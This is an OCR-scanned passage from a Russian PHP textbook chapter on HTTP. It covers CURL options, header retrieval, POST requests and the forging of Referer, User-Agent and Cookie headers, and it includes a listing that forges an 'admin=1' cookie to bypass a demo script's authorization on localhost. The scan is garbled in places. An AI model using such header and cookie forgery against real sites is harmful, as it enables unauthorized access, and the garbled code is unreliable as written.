KRB4 (Kerberos 4) для протокола FTP. Допусти мы следующие зна- чения (в порядке возрастания безопасности): clear, safe, cOnfidential, private. Если переда нное значение не входит в этот спи- сок, используется private. Установка пара- метра в NULL запрещает безопасность KRB4
262 Параметр CURLOPT POSTFIELDS CURLOPT PROXY CURLOPT PROXYU SERPWD CURLOPT_RAN DOM_FILE CURLOPT RANGE CURLOPT RE FERER CURLOPT SSL CIPHER - - - CURLOPT SSLCERT - ЫЗТ CURLOPT SSLCERT PAS SWD CURLOPT SSLCERTTYPE CURLOPT SSLKEY - CURLOPT SSLKEYPAS SWD CURLOPT SSLKEYTYPE Часть 1. Общие вопрось/ - Таблица 3.10 (пр одолжение) Описа ние Строка данных для РОSТ- запроса ИМЯ прокси-сервера, через который будут направляться запросы Строка с именем пользовател я и паролем к прокси-серверу НТТР в виде [username ] : [password] Путь К файлу, используемому ге нератором случайных чисел для работы протокол а SSL Координаты фрагмента загружаемого файла в формате "Х-У " (вместо Х и У указ ываются позиции байта в файле) . Одна из координат может б ыть опущена, например: "Х-" . Прото- кол НТТР также поддержи вает передачу не- скольких фрагментов файла, это задается в виде "X-Y,N-M" Значение НТТР-загол овка Re ferer Список шифров, используемых SSL, напри- мер: RC4-SHA, TLSv1 ИМЯ файла с SSL-сертификатом в формате РЕМ Пароль к файлу SSL-сертификата , заданно- му параметром CURLOPT_S SLCERT Формат сертификата . Допускаются следую- щие форматы : РЕМ (по умолчанию) , DER и ENG ИМЯ файла, содержащего закрытый SSL-ключ Секретн ый пароль, необходимый для использования закрытого SSL-ключа Формат закрытого SSL-ключа . Допускаются следующие форматы: РЕМ (по умолчанию) , DER и ENG
гл ава З. Протокол нттр � .- - Параметр � CURLOPT_URL CURLOPT_USERAGENT CURLOPT_USERPWD 263 Та блица 3.10 (окончание) О писа ние URL, с которым будет производиться опера- ция. Значение этого параметра также может быть зада но при вызове функции curl init () - Задает значение НТТР-заголовка User-Agent Строка с именем пользователя и паролем в виде [username ] : [password] Таблица 3.11. Параметры СURL-соединения, являющиеся массив ами Параметр О писа ние CURLOPT_HTTP2 0 0ALIASES Массив с НТТР-заголовками группы 200 (успешно выполненный запрос) CURLOPT_HTTPHEADER Массив со всеми НТТР-заголовками CURLOPT_POSTQUOTE Массив с FТР-командами, которые будут выполнены после выполнения основного запроса CURLOPT_QUOTE Массив с FТР-командами, которые будут выполнены перед выполнением основного запроса Табл ица 3.12. Параметры СURL-соед инения, использующие в ка честве зна чений дескр иптор файла, возвращаемого функцией fopen () Параметр Данные, хранимые в файле CURLOPT FILE Резул ьтат операции - CURLOPT INFILE Данные ДЛЯ передачи - CURLOPT WRITEHEADER Полученные НТТР-заголовки - CURLOPT STDERR Сообщения об ошибках -
264 Часть 1. Общие вопрось/ - Если не задан ни один из параметров CURLOPT_RE TURNTRAN SFER, CURLOPT_ FILE ил и CURLOPT_WRITEHEADER, функция curl_е х е с () по умолчанию выводит ре­ зультат непосредственно в окно браузера. Так как резул ьтат запроса необхо_ димо вывести непосредственно в браузер, листинг 3.36 можно переписать более ко мпактно, не устанавл ивая никаких параметров (л исти нг 3.37). Листинг 3.37. Альте рнаТИВliое решение <?php ?> // Задаем адре с удаленного сервера $curl = curl_init ( ..http : //ww w . php . net..); // Получаем содержимо е страницы echo curl_exec ( $curl) ; // Закрываем СURL- сое динени е curl_close ( $curl) ; 3.3 .3 . Получение НТТР-заголовков с сервера Часто при работе с данными удаленного хоста не требуется тел о ответа, представляющее собой объемную НТМL-страницу или файл : достаточно по­ лучить НТТР-заголовки, сообщающие полезную информацию о сервере и его требованиях для работы с его содержимым (установка cookie, сессий ил и требования произвести аутенти фикацию). Модифицируем функцию из листи нга 3.33 для получения лишь заголовко в НТТР-ответа (л истинг 3 . 3 8) . Листинг 3.38. Загружаем тол ько за головки НПР -ответа <?php // Функция получения НТТ Р-эаголовков function get_content ($hostname , $path ) $line = ""; // Устанавливаем соедин�ние , имя которого // передано в параметре $hostname $fp = fsockopen ($h ostname , 80, $errno , $errstr, ЗО) ;
гл ава 3. Протокол нпр -- / / Пр оверяем успешн ость установки соедине ния if ( ! $fp) echo "$errstr ($errno) <br />\п" ; else / / Формируем НТТР- запрос серверу $headers = "GET $path HTT P /l . l\r\n" ; $headers $headers "Host : $hostname\r\n" ; "Connection : Close\r\n\r\n" ; / / Отправляем НТТ Р-запрос серверу fwr ite ($fp, $headers ); $end = $false; // Получаем отве т whi le (!$end) $line = fgets ($fp, 1024) ; if (trim($line ) == "" ) $end else $out [] = $line ; fclose ($fp) ; return $out ; $hostname = . . www .php .net .. ; $path = "/"; true ; // Устанавливаем большее время работы с крипта - // пока страница не буде т загружена целиком, // она не будет отображена set_time_l imi t (180) ; / / Вызываем функцию $out = get_content ($hostname , $path) ; // Выводим содержимое ма ссива echo "<pre>" ; print_r ($out ) ; echo "</pre>"; ?> 265
2бб Часть 1. Общие вопрос,,/ - Резул ьтат работы функции может выглядеть следующим образом: Array [О] => НТТР/1 .1 200 ОК [1] => Date : Sat , 14 Jul 2007 13 :03:07 GMT [2] => Server : Apache/l.3.37 (Unix ) РНР/5 .2 .1 [3] => X-Powered-By : РНР/5.2.1 [4] => Last-Modi fied : Sat , 14 Jul 2007 12 :37:24 GMT [5] => Content -language : еп [6] => Set-Cookie : COUNTRY=RU S%2C82 .20 8.77 .226i expi res=Sat , 21- Jul- 2007 13 :03:07 GMT i path=/ i domain= .php . net [7] => Connection : close [ В] => Trans fer-Encoding : chunked [9] => Content-Type : text / html icharset=ut f- B Первая строка является стандартн ым ответом сервера о то м, что запрос ус­ пешно обработан (код ответа 200). Если запрашиваем ый ресурс не существу­ ет, то будет возвращен код ответа 404 (НТТР/l .l 404 Not Found). Второй заголовок сообщает время формирования документа на сервере, не­ обходимое дл я кэ ширования, кото рое рассматривается ниже . Третий заголовок сообщает тип и версию Web-сервера. Как можно видеть , портал http ://www.php.net работает на сервере под управлением UNIX, ис­ пользуя в качестве Web-сервера Apache 1.3.3 7, а таюке РНР версии 5.2. 1, ко­ торая на момент нап исания книги находилась в разработке . Четвертый заголовок сообщает, что страница сгенерирована при помощи РНР версии 5.2. 1. Пятый заголовок сообщает о дате последней модификации страницы, впро­ чем, при динами ческом формирован ии содержимого сайта он не актуален. Шесто й заголовок сообщает, что браузеру передаются данные на английском языке. Седьмой заголовок устанавл ивает cookie с именем COUNTRY и значением " RUS , В2 . 20В . 77 . 193 " , содержащим страну пользователя и его IP-aдpec сро­ ком на недел ю дл я домена . php . net. Дан ная информация необходима для раздел а dowl1 loads сайта http ://www.php.net. в котором посетителю предл а­ гается ближайший к нему сервер.
гл ава 3. Протокол нттр - 267 вось м ой заголовок передает клиенту просьбу закрыть соеди нение после по­ луч ения ответа. ДевятЫ Й заголовок Trans fer-Encoding (имеющий значение chunc ked) указ ы­ в ает п олучателю, что ответ разбит на фрагменты . Десятый заголовок Content- Type указывает тип загружаемого документа (text/htrnl) и его кодировку (charset=utf-8). В л истинге 3.38 для получения заголовков использован запрос GET, од нако для это й цели в протоколе нттр предусмотрен специальный метод НЕАО. Таким образом, скрипт из листи нга 3.38 можно переписать более просты м сп особом (л истинг 3.39). ЗА МЕЧА НИЕ Метод НЕАD может быть запрещен на НТТР-сервере, поэтому и ногда це­ лесообразно воспользоваться методом GET, отсекая тел о документа , как это представлено в л истинге 3.38. Листинг 3.39. Использова ние метода НЕАD <?php // Функция получения НТТ Р-заголовков fu nction get_content ($ho stnarne , $path ) $Нпе = "" . , // Устанавливаем соединение , имя которого // пер едано в параме тре $hos tnarne $fp = fsockopen ($hostnarne, 80, $errno , $errstr, ЗО) ; // Проверяем успеrnность установки сое динения if (!$fp) echo "$errstr ($errno ) <br />\п" ; else // Формируем НТТР- запрос серверу $headers = "НEAD $path HT TP/l.l\ r\n" ; $headers "Host: $hostnarne\r-\ n" ; $headers .= "Connection : Close\r\n\r\n" ; // Отправляем НТТР-запрос с ерв еру fwrite ($fp, $headers );
268 ?> // Получаем ответ whi le (!feof ($fp) ) $out [] = fgets ($fp, 1 024) ; fclose ($fp) ; return $out ; $hos tname = .. www.php .net .. ; $path = "/"; // Устанавлив аем большее время работы скрипта - // пока страница не будет загружена целиком, // она не отобразится set_time_l irnit (180) ; / / Вызываем функцию $out = get_content ($hostname , $path) ; // Выводим содержимое массива echo "<pre> "; print_r ($out ) ; echo "</pre> "; Часть 1. Общие вопрось/ Еще более компактно рассматри ваемую задачу можно решить с использова­ нием расширения CURL, установив при помощи функции curl_s etopt () па­ раметры CURLOPT_HEADER и CURLOPT_N OBODY, первый из кото рых требует включения в результат НТТР-заголовков, а второй - игнорирования тел а НТТР-документа (листинг 3.40). Листинг 3.40. Использование CURL <?php function get_content ($hostname ) // Задаем адрес удаленного сервера $curl = curl_init ($hos tname) ; // Вернуть резуль тат в виде строки curl_s etopt ($curl , CURLOPT_RETURNTRAN SFER, 1) ;
гл а ва З. Протокол нттр - ?> / / Включить в резуль тат НТТР- заголовки cu rl_setopt ($curl, CURLOPT_HEADER, 1) ; // Исключить тело НТТР-документа cu rl_setopt ($curl , CURLOPT_NOBODY , 1) ; / / Получаем НТТР- заголовки $content = curl_e xec ($curl) ; // Закрыв аем СURL-соединение curl_close ($curl ) ; / / Пре образуем строку $content в ма ссив return explode ("\r\n" , $content) ; $hostname = .. http : //ww w . php .net.. ; $out = get_content ($hostname) ; echo " <pre>"; print_r ($out ) ; echo " </pre> "; 3.3 .4 . Определение размера файла на удал енном хоете 269 Одной из р аспространенных задач является определение раз мера файла на удаленном хосте . Для этого воспользуемся функцией get_content () из лис­ ти нга 3.38, с помощью которой уз наем кол ичество байт в файле по НТТР­ заголовку Content-Length (л истинг 3.41). Листинг 3.41 . Определе ние ра змера фа йла на удаленном хоете <?php // Получаем НТТ Р-заголовки $hostname = .. http : //ww w . softtirne . ru/files/configs . zip.. ; $out = get_content ($hos tname) ; // Объединяем содержимо е ма ссива в одну строку $lines = irnplode (" ", $out) ;
270 // определяем количество байт в закачиваемом файле / / по регулярному выражению Часть 1. Общие вопросы preg_rnatch (" IСопtепt -Lепgth : [\s] +([\d] +) l i", $lines , $matches ); // Выв одим резуль тат echo "Количество байт в архиве - " .$rnatches [l] ; ?> Результат работы функци и: Количество байт в архиве - 26421 3.3.5. Отправка данных методом POST Создадим простейшую форму, состоящую из одного текстового поля пате И кнопки для отправки данных (листинг 3.42). Листинг 3.42. НТМL-форма <form action=hand1 er . php method=po st> имя : <input type=text name=name><br> Пароль : <input type=text name=pas s ><br> <input type=submit vа 1 uе=Отправить > </form> После заполнения тексто вого поля и нажатия на кнопку Отправить данные методом POST отправляются обработчику handler . php, код которого пред­ ставл ен в листинге 3.43 . Листинг 3.43 . Обработчик handler . php <?php ?> echo "Имя - $_POST [name ] <br>" ; echo "Пароль - $ _POST [pa ss] <br>" ; Обработчик выводит в окно браузера текст, введенный в текстовые поля пате И pass НТМL-формы. НТМL-форма помогает пол ьзовател ю сформировать РОSТ-запрос, который затем отсылается браузером . Тако й запрос может быть сформирован и скриптом. При обращении к серверу при помощи метода POST, помимо НТТР­ заголовка POST /path НТТР/1.1, необходимо п ередать заголовок Content ­ Length, указав в нем кол ичество байт в обл асти данных.
гл ава З. Протокол нттр - 271 Метод POST, в отличие от метода GET, посылает данные не в строке за­ п роса, а в области данных, после заголовков. Передача нескольких пере­ ме н н ых аналогична методу GET: группы имя=значение объединяются при ГIOмощи символа амперсанда ( & ) . Учитывая, что НТМL-форма принимает п ар ам етр паmе=Игорь , раss=пароль строка данных может выглядеть сле­ дую щим образом : namе =Игорь &раss=пароль кром е это го, необходимо учитывать, что данные передаются в тексто вом ви­ де, поэто му все националЬНрlе символы следует подвергать кодированию при по м ощи функции urlencode () . С крипт, отправляющий данные методом POST через сокеты, представл ен в л и стинге 3.44 . ЗАМЕЧАНИЕ Из-за ошибки библиотеки сокетов протокол нттр 1.1 под Windows работает медленно, при работе скрипта под управлением данной операционной сис­ те мы лучше использовать версию протокола нттр 1.0. Листинг 3.44. Отпра вка да нных методом POST через сокеты <?php $hostname = "localhost" ; $path = "/pu zzles /handler .php ";- $line = ""; // Устанавливаем соединение , имя которого // передано в параметр е $hos tname $fp = fsockopen ($hostname , 80, $errno , $errstr, ЗО) ; /1 Пр оверяем успешность установки соединения if (!$fp) echo "$errstr ($errno ) <br />\п" ; else // Данные НТТР-запроса $data = "пате =" . urlencode ("Игорь ") . "&разз=" . urlencode ("пароль ") . "\r\n\r\n" ; // Заг оловок НТ ТР-запроса $headers = "POST $path HTTP/l. l\r\n" ; $heade rs . = "Ho st : $hostname \r\n" ;
272 Часть 1. Общие воп� $heade rs . = "Content-type : application/x-www - fonn-urlencoded\r\n " ; $heade rs . = "Content-Length : ". strlen ($data ) . "\r\n\r\n"; // Отправляем НТТР-запрос серверу fwrite ($fp, $headers .$data) ; // Получаем ответ whi le (!feof ($fp) ) $line .= fgets ($fp, 1024) ; fclose ($fp) ; echo $Нпе; ?> Резул ьтат работы скрипта может выглядеть следующим образом : НТТР /1 .1 200 ОК Date : Wed, 16 Nov 2005 18 :00:44 GМT Server : Ap ache /1 .3 .33 (Win32) X- Powe red-By : РНР/5 .0.4 Trans fer-Encoding : chunked Content -Type : text /htrnl 22 имя - Игорь Пароль - пароль Остается только удалить НТТР-загол овки, как это оп исано выше, и результат будет идентичен обращению к обработчику из НТМL-формы. ЗА МЕЧА НИЕ Такого рода скрипты испол ьзуются дл я автопости нга - авто матического размещения рекламных или провокационных сообщений в гостевых книгах и форумах в значител ьных кол ичествах. Простейшие средства защиты , та­ кие как проверка реферера или " прошивка" НТМL-формы сессией , могут легко обходиться , как это будет демонстрироваться в последующих гл авах. Самым эффекти вным способом защиты от такого вида атак является а вто­ матическая генерация изображения с кодо м, который помещается в сес­ сию. П ока пользовател ь не введет код в НТМL-форму, сервис не сраба ты­ вает. Изображение может быть допол нено помехами, кото рые не помешают его прочитать "живому" посетител ю, но потребуют от злоумыш­ ленника решения серьезной задачи распознавания образов.
гл ава 3. Протокол нттр -- 273 в листинге 3.45 приводится решение рассматриваемой задач и с использова­ нием CURL. ЛисТИНГ 3 .45. За грузка РОЭТ-данных с использованием CURL <?phP ?> / / Задаем адрес удаленного сервера $ curl = curl_init (''http: //loca1host /puz z1es/5/hand1er .php ' ') ; / / Передача данных осуществляе тся / / методом POST cur1_s e topt ($cur1 , CURLOPT POST , 1) ; / / Задаем РОSТ-данные $data = "пате =" . ur1encode ("Игорь ") . "&раss=" . urlепсоdе ("пароль ") . "\r\n\r\n" ; curl_setopt ($curl , CURLOPT_POSTFIELDS , $data) ; / / Выполняем запр ос cur1_e xec ($cur1) ; // Закрыв аем СURL-соединение curl_c1ose ( $curl) ; Для того чтобы сообщить CURL о том, что данные будут передаваться на сер вер методом POST, необходимо задать параметр CURLOPT_ POST . POST­ данные устанавл иваются при помощи параметра CURLOPT_POSTFIELDS. 3.3 .6. Фал ьсификация реферера Переходы пользователей со стороннего сайта фиксируются в реферере, полу­ чить доступ к которому можно при помощи эл емента суперглобального масси­ ва $_SERVER [ 'НТТР_RE FERER ' ]. Так, есл и страница 1.pi1p содержит ссылку на страницу 2.php : <а hre f=2 . php>CCЫJ1Ka< /a>, то, разместив в фаЙJlе 2.pllp сле­ дующий код из листинга 3.46, мы получим результат, приведенный на рис. 3 .8. Л истинг 3.46. Вывод реферера < ?php echo "Вы перешли на текущую страницу с ".$_SERVER [ , HTTP_RE FERER ' ] ; ?>
274 Часть 1. Общие вопрось/ - Рис. 3 .8 . ВЫВОД реферера Реферер иногда испол ьзуется дл я простейшей защиты НТМL-формы от ав­ то пости нга - заполнения НТМL-формы при помощи скрипта. Рассмотрим это на при мере. Пусть имеется НТМL-форма авторизации в файле index.pI1 p, код кото рого представлен в листинге 3.47. Листинг 3.47 . НТМL-форма системы авторизации <table> <form action=handl er .php method=post> <tr> <td>Имя :</ td> <td><input type=t ext name=name></td> </tr> <tr> <td>Пароль :</ td> <td><input type=password name=pas s></td> </tr> <tr> <td> &nbsP i</td> <td><input type=submit vаluе= 'Войти '></td> </tr> </form> </table> Дл я защиты НТМL-формы от заполнения на стороннем сайте в обработч и к НТМL-формы l1andler.pl1p можно добавить проверку по рефереру, входит л и в его состав имя текущего сервера (листи нг 3.48).
гл ава З. Протокол нттр :- --- л�стинr З.48. За щита обработчика НТМL-фор мы при помощ и реферера <?phP ?> / / формируем путь к НТМL-форме на текущем сервере $htrol = ''http : //'' . $_SERVER [ ' SERVER_NAМE ' ] ; / / Проверяем, переданы ли данные с текуще го сервера i f(sub str ($_SERVER ['HTTP_RE FERER '], О, strlеп ($htrnl) ) == $htrnl ) if ($_POST ['name' ] == 'admin ' && $_POST ['pass '] == 'admin' ) // Обработчик НТМL-формы else echo "Резуль тат из формы не может быть обработан "; 275 Однако тако й способ защиты редко используется в реальной практи ке . Брау­ зер ил и брандмауэр могут скрывать реферер, поэтому тако го рода защита м ожет приводить к некорректной работе Web-приложения для легитимных пользователей . С другой стороны, реферер легко поддел ывается : достаточно пр и помощи сокетов отправить НТТР-заголовок Re ferer (л истинг 3.49) или воспол ьзоваться CURL, установив при помощи функци и curl setopt () па­ раметр CURLOPT_RE FERER (л истинг 3.50). Листинr З.49. Отправка реферера при помощи сокетов <?php $ hos tname = "localhost"; $path = "/test/handler . php" ; $ Нпе 1I1f. , // Передаем методом POST имя поль зователя (admi n) , // его пароль (admi n) , скрытое поле session_id ($SID) // в заголовках передаем cookie PHPSESS1D // Устанавливаем соединение , имя которого // передано в параметре $hostname $ fp = fsockopen ($hostname , ВО, $errno , $errstr, ЗО) ;
276 Часть 1. Общие вопр ось/ - ?> // Пр оверяем успешность установки соединения if (!$fp) echo "$errstr ($errno ) <br />\п" ; е1зе // Данные РОSТ-запроса $data = "name=admin&pass=admin&\r\n\r\n" ; // Формируем НТТ Р-заголовки для передачи // его серверу $headers = "POST $path НТТ Р/1.1\r\n" ; $heade rs $headers "Host : $hos tname\r\n" ; "Content-type : app1ication/x-www-fonn-ur1encoded\r\n" ; $heade rs "Content-Length : ".str1en ( $data ) . "\r\n" ; // Подделываем реферер $heade rs "Referer: http: //1oca1host/test/index .php \r\n'' ; $headers .= "Conne ction : C1ose\r\n\r\n" ; // Отправляем НТТР-запрос серв еру fw rite ($fp, $headers .$data) ; // Получаем ответ whi le (!feof ($fp) ) $line .= fgets ($fp, 1024) ; fc10se ($fp) ; echo $line; Листинг 3.50. Отправка реферера при помощи CURL <?php // Задаем адрес удаленного сервера $cur1 = cur1_init ( '' http:/ / 1oca1host/test/hand1er . php '' ); // Передача данных осуще ствляется // ме тодом POST cur1_setopt ($cur1 , CURLOPT_POS T, 1) ; // Задаем РОSТ-данные $data = "name=admin&pass=admin& \r\n\r\n" ; cur1_s etopt ($cur1 , CURLOPT_POSTFIELDS , $data) ;
глава З. Протокол нттр .:- --- ?> / / устанавливаем реферер cur l_s etopt ( $curl , CURLOPT_RE FERER, '' http :// localhost/test/index .php '' ); / / вып олняем запрос curl_exec ($cur l) ; / / Закрываем СURL- соединение curl_c lose ($curl ) ; 3.3 .7 . Фальсификация пользов ательско го а гента 277 При обращении РНР-скрипта к страницам сайта при помощи файловых функций сервер делает в переменную окруже ния USER_AGENT запись вида: РНР 4 . 3 . В резул ьтате скрипт получает доступ к это му идентификатору через элемент су перглобального массива $_ SERVER [ 'USER_AGENT ' ]. Однако этот сп особ проверки не может считаться универсальным, так как переменную окруже н ия устанавл ивает кл иент при помощи НТТР-заголовка User-Agent . Любой НТТР-заголовок, который передает кл иент, может быть подделан . В листинге 3.51 приводится пример, в котором скрипт, обращаясь к другому скрипту, выдает себя за пользователя операционной системы Windows ХР, ис пользующего браузер Il1tеrпеt Explorer версии 6.0. Дл я этого в качестве НТТР-загол овка User-Agent передается следующая строка: Mo zilla/4 .0 (cornp atible; MSIE 6.0; Windows NT 5.1) ЗАМЕЧАНИЕ Переменная окружения USER_AGENT более подробно обсуждается в гл аве 4. Листи нr 3.51 . Фальсифицируем пол ьзовательский агент <?php $ho stnarne = "localhos t" ; $path = "/test/index .php" ; $ line "" ­t // Ус т анавливаем соединение , имя которого // передано в параме тре $hostnarne
278 Часть 1. Общие вОПРОСЬf ?> $fp = fsockopen ($hostname , 80, $errno , $errstr, ЗО) ; // Проверяем успешность установки соединеНия if (!$fp) echo "$errstr ($errno ) <br />\п" ; else // Формируем НТТР-заголовки для передачи серверу $heade rs = "GET $path HTT P /1 . 1\r\n" ; $headers . = "Host : $hostname\r\n" ; // Подделываем поль зователь ский агент , маскируясь // под поль зователя WindowsXP $heade rs .= "User-Agent : Mo zilla/4 .0 ". "(cornpatible ; MS IE б.О; Windows NT 5.1) \r\n" ; $headers "Соnnе сtiоп : Close\r\n\r\n" ; // Отправляем НТТ Р-запрос серверу fwrite ($fp, $heade rs ); // Получаем ответ whi le (!feof ($fp) ) $line . = fgets ($fp, 1024) ; fclose ($fp) ; echo $line; - в листи нге 3.52 представлено решение то й же задачи с использованием рас­ ширения CURL. Для этого при помощи функции curl_s etopt () устанавли ­ вается параметр CURLOPT_U SERAG ENT - его значение и будет передаваться серверу в НТТР-заголовке User-Agent. Листинг 3.52. Фальсификация пользовательского агента при помощи CURL <?php // Задаем адрес удаленного сервера $curl = curl_init ('' http:/ / localhost/testlhandler . php '' ); // Устанавливаем реферер $useragent ,,; "Mozilla/4.0 (cornpatible ; MSIE б.О; Windows NT 5.1"; curl_s etopt ($curl , CURLOPT_USERAGENT , $useragent );
гл ава 3. Протокол нттр - ?> / / выполняем запрос curl_exec ($curl) ; / / Закрыв аем СURL-соединение curl close ($curl ) ; 3.3 . 8. Фальсификация cookie 279 Механизм действия cookie заключается в то м, что, получив указания от сер­ вер а, браузер создает в оперативной памяти (если это сессионный cookie) или на жестко м диске файл с задан ными параметрам и. После этого при каждом зап росе браузер оправляет серверу НТТР-заголовок СооНе с именем и значе­ нием cookie. Так как за установку НТТР-загол овка несет ответственность клиентская сторона, cookie легко можно подделать, отправив НТТР­ загоЛОВОК следующего формата: Cookie: name l=valuel ; name 2=value2 ; ... гд е name l, name 2 ... - имена cookie, а value l, value2 . .. - их значения . Пусть имеется скрипт, который проверяет наличие cookie, установленного у посетителя при аутенти фикации. В cookie пате устанавливается имя пользо­ вателя, а установленные cookie admi n, edi tor И user позволяют провести ав­ торизацию для ад министратора, редактора и пользователя соответственно (листинг 3.53). Листинг 3.53. Предоставление доступа к информации по cookie <?php if ( i sset ( $_COOKIE ['name ' ])) i f(i sset ( $_COOKIE [ 'admin ' ])) echo "Здравствуйте , администратор $_COOKIE [name ] !<br>"; i f(isset ( $_COOKIE [ 'editor ' ])) echo "Здр авствуйте , редактор $_COOKIE[name ] !<br>" ; i f(i sset ( $_COOKIE [ 'user' ]))
280 Часть 1. Общие вопрось, - echo "Здравствуйте , поль зователь $_COOKI E[narne ] !<br>" ; ?> Скрипт, осуществляющий авторизацию с правами адм инистрато ра, пред_ ставл ен в листинге 3.54. ЗАМЕЧАНИЕ Содержимое сессий не может быть фальсифицировано, та к ка к храня щие_ ся в них данные не покидают предел ов сервера. Однако фальсификаци и может быть подвергнут уникальный идентификатор сессии SID, который , ка к правило, передается через co okie. Таким образом скрипт может вести себя ка к браузер, поддержи вая сесси ю, ил и, есл и злоумышленник получ ил доступ к идентифи катору действующей сессии (например, в резул ьтате ХSS-атаки), получать доступ к да нным другого пользователя. Листинг 3.54. Поддел ка cookie <?php $hostnarne = "localhost "; $path = "/test/l .php "; // Устанавливаем соединение , имя которого // передано в параметре $hostnarne $fp = fsockopen ($hostnarne , 80, $errno , $errstr, ЗО) ; // Проверяем успешность установки соединения if (!$fp) echo "$errstr ($errno ) <br />\п" ; else // Формируем НТТ Р-заголовки для передачи серв еру $headers = "GET $path HTTP/l. l\r\n" ; $heade rs .= "Host : $hostnarne\r\n" ; // Подделыв аем cookie $heade rs .= "Cookie : narne=cheops ; admin= l ;\r\n" ; $headers .= "Connection : Close\r\n\r\n" ; // Отправляем НТТ Р-запрос серверу fwrite ( $fp, $headers ); // Получаем ответ wh ile (!feof ($fp) )
глава З. Протокол нттр :.- --- $line .= fgets ($fp, 1024) ; fc10 se ($fp) ; echo $line ; ?> Дл я того чтобы подделать cookie, скрипт отправляет НТТР -загол овок: Cooki e: name =cheops; admin= l; \r\n 281 в которо м передается имя пользователя cheops и cookie admin со значени­ еМ 1. Резул ьтат работы скрипта представлен на рис. 3.9. НТТР-загол овки от­ вета, которые предваряют вывод, не фильтруются, но могут быть легко уда­ л е ны в случае необходимости. HTТP/l.l 200 ОК Date : F]'i , 28 Oct 2005 17:40 :04 GМТ Sel"Ver: Apache/l.3 .33 (\Vin32) X-Po\vere d-By: РНР/5 .0 .4 Connectioll: close Тшпsfег-Епсоdil l g: chunked Content-Type: tехtJhtшl 30 Здравствуйте, aдмшlистратор cheops ! О Рис. 3 .9. Авториза ция с права ми администратора Не со ставляет труда авторизоваться также с правам и редактора ил и пользо­ ват ел я : достаточно заменить имя cookie admin на edi tor или. user. Более то­ го , в усл о виях скрипта из листи нга 3.53 можно произвести авторизацию од­ н о временно для всех трех видов пол ьзовател ей. Для это го достато чно отправить НТТР-загол овок вида: Cookie : name=cheops ; аdшiп=1 ; editor=l ; us er=l ;\r\n Результат работы такого скрипта представлен на рис. 3.10.
282 Часть 1. Общие вопрос!,/ НТТР/1.1 200 ОК Date: Fri , 28 Oct 2005 17:53:41 GMT Server: Apache/l.3.33 (Win32) X-Po\vered-By: РНР/5.0.4 Connection: close Transter-Enc oding: chllnked Content- Туре : tехtJЪtш1 7а Здравствуйте, aдМlffiистратор cheops ! Здравствуйте, редактор clleops ! 3дравствуйте ,пользователь сhеорs ! Рис. 3 .10. Авторизация одновременно всех трех видов пользовател ей 3.4. Работа с доменами и IР-адресами - Все хосты в сети Интернет имеют уникальные IР-адреса, однако для удобства вместо них используются до менные имена, которые при помощи DN S­ серверов привязываются к IР-адресам . В протоколе нттр 1.1 появилась в оз­ можность привязывать к одному IP-адресу несколь ко доменных имен. Помимо функции fsockopen (), рассмотренной выше, рнр располагает не­ сколькими функциями, предназначенными дл я раб оты с IР-адресам и и до­ менными именами (табл . 3 .13). Кроме того, при помощи сокетов можно об ­ ратиться к Whоis-сервису, который предоставляет информацию об IP­ адресах. Та блица 3. 13. Функции для работbl с IР-а дресами и доменными именами Функция Описание checkdns rr ( $hostname [, Находит на DNS-сервере з а писи ресурсов $typ eJ ) вида $type для хоста $hostname gethostbyname ($h ostname ) Возвращает для доменного имени $hostname соответствующий ему IP-а Арес
гпава З. Пр отокол нттр -- 283 Та блица 3.13 (окончание) .- - Описа ние фуНКЦИЯ � gethO s tbynamel ( $hostname ) Возвращает для доменного имени $hostname соответствующие ему IP-аАреса r- Для IP-аАреса $ip_addre ss возвращает соот- gethost- byaddr ($ip_address) ветствующее ему доменное имя �p21 0ng ($ip_address ) Преобразует IP-аАрес $ip_a ddress в целое число l ong 2ip ( $ proper_address) Преобразует целое число в IP-аАрес $prope r_address 3.4. 1. О п ределение IР-адреса по сете в ому адресу Фун кция gethostbyname () принимает в качестве аргумента строку, представ­ ляющую доменное имя компьютера, и возвращает соответствующий IP­ адрес. Функция имеет следующий синтаксис : s t ring gethostbyname ($hostname ) В листинге 3 .55 приводится пример получения IР-адреса сервера сайта ht t p://www.yandex.ru . Листинг 3.55 . Использование фун кци и gethos tbyname () < ?php ?> $hostname = ..ww w . yandex.ru"; $ ip_address = gethostbyname ($hos tname) ; echo "IP-aдpec $hostname : $ip_address" ; Есл и компьютер подключен к сети Интернет, результатом работы скрипта из л истинга 3.55 может быть строка: IP-aдpec ww w .yandex .ru: 213.180 . 204 .11 Многи е компьютеры имеют несколько IР-адресов; особенно типична такая ситуация для серверов. Получить полный список IР-адресов, соответствую­ щих данному имени ком пьютера, можно с помощью функции g e thostbyname l (), действующей аналогично функции gethostbyname ().
� 2 � 8 _ 4 ______________________________________________ Ч _ а _ сm __ ь _ '. _ О __ б _ щ � u _ е _ в _ о _ п � р � о � � Функция имеет следующий синтаксис: string gethostbynamel ( $hostname ) Другая ситуация, в кото рой полезно применение это й функци и, -- если одно имя DN S соответствует нескольким ко мпьютерам . Это случается при работе с DN S-серверами, поддерживающими механизм кругового распредел е н и я нагрузки, при кото ром одно имя DNS-сервера отображается на нескол ько ко мпьютеров в локальной сети этого сервера. Возвращаемый список IР-адресов ФУНКЦИЯ gethostb yname l () помещает в массив (л истинг 3.56). Л истинг 3.56. Использо вание фун кции ge thos tbynamel () <?php ?> $hos tname = ..ww w . yandex. ru..; $ip_addresses = gethostbynamel ( $hos tname) ; echo "<pre> "; print_r ($ip_addres ses) ; echo "</pre>"; Если ко мпьютер подключен к сети Интернет, результатом работы скрипта из листинга 3.56 может быть следующий дам п: Ar ray [О] => 213.180 . 204 .11 3.4 .2. О предел ени е сетевого адреса по IР-адресу Функция gethostbyaddr () принимает в качестве аргумента IР-адрес $ip_address и возвращает соответствующее ему имя хоста. Функция имеет следующий синтаксис : string gethostbyaddr ($ip_address) В листинге 3.57 приводится пример использования функции gethostbyaddr ( ) применител ьно к локальному хосту.
